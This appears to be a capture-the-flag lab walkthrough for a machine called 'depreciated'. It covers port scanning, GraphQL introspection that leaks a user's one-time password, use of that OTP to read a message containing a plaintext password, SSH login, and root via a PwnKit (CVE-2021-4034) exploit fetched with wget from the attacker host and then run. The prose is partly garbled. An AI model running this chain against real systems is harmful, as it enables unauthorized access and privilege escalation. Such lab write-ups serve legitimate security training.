

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.172.170 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.172.170:22
Open 192.168.172.170:80
Open 192.168.172.170:8433
Open 192.168.172.170:5132

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack nginx 1.18.0 (Ubuntu)
|_ http-server-header: nginx/1.18.0 (Ubuntu)
|_ http-title: Under Maintainence
|_ http-methods:
|_ Supported Methods: OPTIONS GET HEAD
5132/tcp  open  unknown  syn-ack
8433/tcp  open  http     syn-ack Werkzeug httpd 2.0.2 (Python 3.8.10)
|_ http-title: Site doesn't have a title (text/html; charset=utf-8).
|_ http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_ http-server-header: Werkzeug/2.0.2 Python/3.8.10
``` Check80port, F12can

```

```

<form method="post" action="http://127.0.0.1:8433/graphql?query={login(username:$uname, password:$pswd)}"
enctype="multipart/form-data">
``` log inhttp://192.168.172.170:8433/graphql?query={login(username:$uname,%20password:$pswd)}canGraphQL,Refer
to
hacktricks - GraphQL \(https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql\),get hello goodbye user getToken
listUsers getOTP

```

```

http://192.168.172.170:8433/graphql?query={__schema{types{name,fields{name}}}}

{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query",
          "fields": [
            {
              "name": "hello"
            },
            {
              "name": "goodbye"
            },
            {
              "name": "user"
            },
            {
              "name": "getToken"
            },
            {
              "name": "listUsers"
            },
            {
              "name": "getOTP"
            }
          ]
        }
      ]
    }
  },
  __ __json
## getToken
http://192.168.172.170:8433/graphql?query={getToken}

{
  "errors": [
    {

```

```

    "message": "Field \"getToken\" argument \"uid\" of type \"String!\" is required but not provided.",
    "locations": [
      {
        "line": 1,
        "column": 2
      }
    ]
  }
]
}

## listUsers
http://192.168.172.170:8433/graphql?query={listUsers}

{
  "data": {
    "listUsers": ["peter", "jason"]
  }
}

## getOTP
http://192.168.172.170:8433/graphql?query=%7BgetOTP%7D
{
  "errors": [
    {
      "message": "Field \"getOTP\" argument \"username\" of type \"String!\" is required but not
provided.",
      "locations": [
        {
          "line": 1,
          "column": 2
        }
      ]
    }
  ]
}
}
``` finduser,`getOTP`can`username`,get `OTP code`
```json
http://192.168.172.170:8433/graphql?query={getOTP(username:"peter")}

{
  "data": {
    "getOTP": "Your One Time Password is: 8jzRzwOV4xTMisve"
  }
}
``` then use nc5132port`peter``OTP code`,`help``list`canmessage,`234`,peter's password`peter@safe`

```

—(kali㉿kali)~[pgplay]

└─\$ rlwrap nc -nv 192.168.172.170 5132

(UNKNOWN) [192.168.172.170] 5132 (?) open

Enter Username: peter

Enter OTP: 8jzRzwOV4xTMisve

\$ help

list list messages

create create new message

exit exit the messaging system

read read the message with given id

update update the message with given id

help Show this help

\$ list

#2345 Improve the ticketing CLI syst

#1893 Staging keeps on crashing beca

#2347 [critical] The ticketing websi

#1277 Update the MySQL version, it's

#234 Hey, Please change your passwo

#0 Hey, Seriously this is getting

\$ read 234

Message No: #234

Hey, Please change your password ASAP. You know the password policy, using weak password isn't allowed. And peter@safe is very weak, use <https://password.kaspersky.com/> to check the strength of the password.

``` sshloginpeter,/home/peterget local.txt

```
(kali㉿kali)-[~/pgplay]
└─$ ssh peter@192.168.172.170
peter@192.168.172.170's password: peter@safe

peter@depreciated:~$ cat local.txt
78f843c3142cbb9ebf7cd4a914affa41
``` use`linpeas.sh`
```

peter@depreciated:/tmp\$ wget 192.168.45.189/linpeas.sh

peter@depreciated:/tmp\$ chmod +x linpeas.sh

peter@depreciated:/tmp\$ ./linpeas.sh

[+] [CVE-2021-4034] PwnKit

Details: <https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>

Exposure: probable

Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro

Download URL: <https://codeload.github.com/berdav/CVE-2021-4034/zip/main>

---

peter@depreciated:/tmp\$ wget 192.168.45.189/CVE-2021-4034.py

peter@depreciated:/tmp\$ python3 CVE-2021-4034.py

## whoami

root

## python3 -c 'import pty; pty.spawn("/bin/bash")'

root@depreciated:/root# cat proof.txt

2156edc33cf4acb6ab11798f56c686b1

---